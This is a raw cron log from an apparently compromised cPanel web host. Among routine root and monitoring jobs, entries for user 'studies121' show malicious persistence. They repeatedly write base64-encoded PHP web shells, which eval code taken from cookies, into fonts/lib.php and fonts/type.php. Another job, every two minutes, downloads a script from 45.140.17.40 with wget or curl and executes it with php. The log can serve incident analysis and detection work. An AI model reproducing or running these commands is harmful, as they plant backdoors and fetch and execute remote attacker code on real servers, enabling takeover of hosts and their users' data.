Sep  4 03:30:01 ip-184-168-122-23 CROND[12647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:30:01 ip-184-168-122-23 CROND[12648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:30:01 ip-184-168-122-23 CROND[12646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:31:01 ip-184-168-122-23 CROND[12760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:31:01 ip-184-168-122-23 CROND[12765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:31:01 ip-184-168-122-23 CROND[12762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:31:01 ip-184-168-122-23 CROND[12764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:31:01 ip-184-168-122-23 CROND[12763]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 03:32:01 ip-184-168-122-23 CROND[12938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:32:02 ip-184-168-122-23 CROND[12940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:32:02 ip-184-168-122-23 CROND[12941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:32:02 ip-184-168-122-23 CROND[12942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:32:02 ip-184-168-122-23 CROND[12943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:33:02 ip-184-168-122-23 CROND[13095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:33:02 ip-184-168-122-23 CROND[13096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:33:02 ip-184-168-122-23 CROND[13100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:33:02 ip-184-168-122-23 CROND[13101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:34:01 ip-184-168-122-23 CROND[13209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:34:01 ip-184-168-122-23 CROND[13212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:34:01 ip-184-168-122-23 CROND[13211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:34:01 ip-184-168-122-23 CROND[13210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:34:01 ip-184-168-122-23 CROND[13214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:35:01 ip-184-168-122-23 CROND[13368]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 03:35:01 ip-184-168-122-23 CROND[13373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:35:01 ip-184-168-122-23 CROND[13372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:35:01 ip-184-168-122-23 CROND[13374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 03:35:01 ip-184-168-122-23 CROND[13376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:35:01 ip-184-168-122-23 CROND[13375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:35:01 ip-184-168-122-23 CROND[13378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:35:01 ip-184-168-122-23 CROND[13377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:36:01 ip-184-168-122-23 CROND[13508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:36:01 ip-184-168-122-23 CROND[13509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:36:01 ip-184-168-122-23 CROND[13510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:36:01 ip-184-168-122-23 CROND[13513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:36:01 ip-184-168-122-23 CROND[13516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:37:01 ip-184-168-122-23 CROND[13616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:37:01 ip-184-168-122-23 CROND[13618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:37:01 ip-184-168-122-23 CROND[13617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:37:01 ip-184-168-122-23 CROND[13622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:38:01 ip-184-168-122-23 CROND[13711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:38:01 ip-184-168-122-23 CROND[13713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:38:01 ip-184-168-122-23 CROND[13715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:38:01 ip-184-168-122-23 CROND[13716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:38:01 ip-184-168-122-23 CROND[13714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:39:01 ip-184-168-122-23 CROND[13809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:39:01 ip-184-168-122-23 CROND[13810]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 03:39:01 ip-184-168-122-23 CROND[13813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:39:01 ip-184-168-122-23 CROND[13816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:39:01 ip-184-168-122-23 CROND[13815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:40:01 ip-184-168-122-23 CROND[13957]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:40:01 ip-184-168-122-23 CROND[13961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:40:01 ip-184-168-122-23 CROND[13962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:40:01 ip-184-168-122-23 CROND[13966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:40:01 ip-184-168-122-23 CROND[13970]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:40:01 ip-184-168-122-23 CROND[13971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:40:01 ip-184-168-122-23 CROND[13972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:40:01 ip-184-168-122-23 CROND[13973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:41:01 ip-184-168-122-23 CROND[14164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:41:01 ip-184-168-122-23 CROND[14165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:41:01 ip-184-168-122-23 CROND[14167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:41:01 ip-184-168-122-23 CROND[14166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:42:01 ip-184-168-122-23 CROND[14264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:42:01 ip-184-168-122-23 CROND[14267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:42:01 ip-184-168-122-23 CROND[14266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
